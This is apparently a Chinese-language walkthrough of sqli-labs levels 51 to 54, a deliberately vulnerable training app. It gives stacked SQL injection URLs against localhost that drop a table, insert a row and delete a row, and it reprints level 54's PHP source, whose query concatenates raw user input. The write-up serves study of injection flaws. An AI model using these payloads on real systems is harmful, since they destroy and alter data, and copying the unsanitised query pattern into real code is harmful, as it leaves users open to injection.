点击打开链接
Less-51
本关的Sql语句为：
- $sql="SELECT * FROM users ORDER BY '$id'";
因为此处用的是执行多个针对数据库的查询函数：mysqli_multi_query()，因此我们采用 Stacked injection，构建payload：
- http://localhost/sqli-labs-master/Less-51/?sort=1';drop table jack--+
Less-52
本关的Sql语句为：
- $sql="SELECT * FROM users ORDER BY $id";
与Less-50一样，报错信息不会在前台显示，我们同样采用 stacked injection 方法，payload：
- http://localhost/sqli-labs-master/Less-52/?sort=1;insert into users(id,username,password) values('16','jack','jack')--+
Less-53
与Less-51类似，只不过没有报错信息，基于盲注，payload：
- http://localhost/sqli-labs-master/Less-53/?sort=1';delete from users where id=16--+
Less-54
①先打开网页查看 Welcome Dhakkan
②查看源码：
Welcome Dhakkan
//including the Mysql connect parameters.
include '../sql-connections/sql-connect-1.php';
include '../sql-connections/functions.php';
error_reporting(0);
$pag = $_SERVER['PHP_SELF']; //generating page address to piggy back after redirects...
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; //characterset for generating random data
$times= 10;
$table = table_name();
$col = column_name(1); // session id column name
$col1 = column_name(2); //secret key column name
// Submitting the final answer
if(!isset($_POST['answer_key']))
{
// resetting the challenge and repopulating the table .
if(isset($_POST['reset']))
{
setcookie('challenge', ' ', time() - 3600000);
echo "You have reset the Challenge
\n";
echo "Redirecting you to main challenge page..........\n";
header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
//echo "cookie expired";
}
else
{
// Checking the cookie on the page and populate the table with random value.
if(isset($_COOKIE['challenge']))
{
$sessid=$_COOKIE['challenge'];
//echo "Cookie value: ".$sessid;
}
else
{
$expire = time()+60*60*24*30;
$hash = data($table,$col);
setcookie("challenge", $hash, $expire);
}
echo "
\n";
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
//update the counter in database
next_tryy();
//Display attempts on screen.
$tryyy = view_attempts();
echo "You have made : ". $tryyy ." of $times attempts";
echo "
\n";
//Reset the Database if you exceed allowed attempts.
if($tryyy >= ($times+1))
{
setcookie('challenge', ' ', time() - 3600000);
echo "You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset
\n";
echo "Redirecting you to challenge page..........\n";
header( "refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag" );
echo "
\n";
}
// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '';
echo 'Your Login name:'. $row['username'];
echo "
";
echo 'Your Password:' .$row['password'];
echo "";
}
else
{
echo '';
// print_r(mysql_error());
echo "";
}
}
else
{
echo "Please input the ID as parameter with numeric value as done in Lab excercises\n
\n";
echo "The objective of this challenge is to dump the (secret key) from only random table from Database ('CHALLENGES') in Less than $times attempts
";
echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.
" ;
}
}
?>
Submit Secret Key:
}
else
{
echo '';
$key = addslashes($_POST['key']);
$key = mysql_real_escape_string($key);
//echo $key;
//Query table to verify your result
$sql="SELECT 1 FROM $table WHERE $col1= '$key'";
//echo "$sql";
$result=mysql_query($sql)or die("error in submittion of Key Solution".mysql_error());
$row = mysql_fetch_array($result);
if($row)
{
echo '';
echo "\n
";
echo '';
echo "";
header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
}
else
{
echo '';
echo "\n
";
echo '';
header( "refresh:3;url=index.php" );
//print_r(mysql_error());
echo "";
}
}
?>
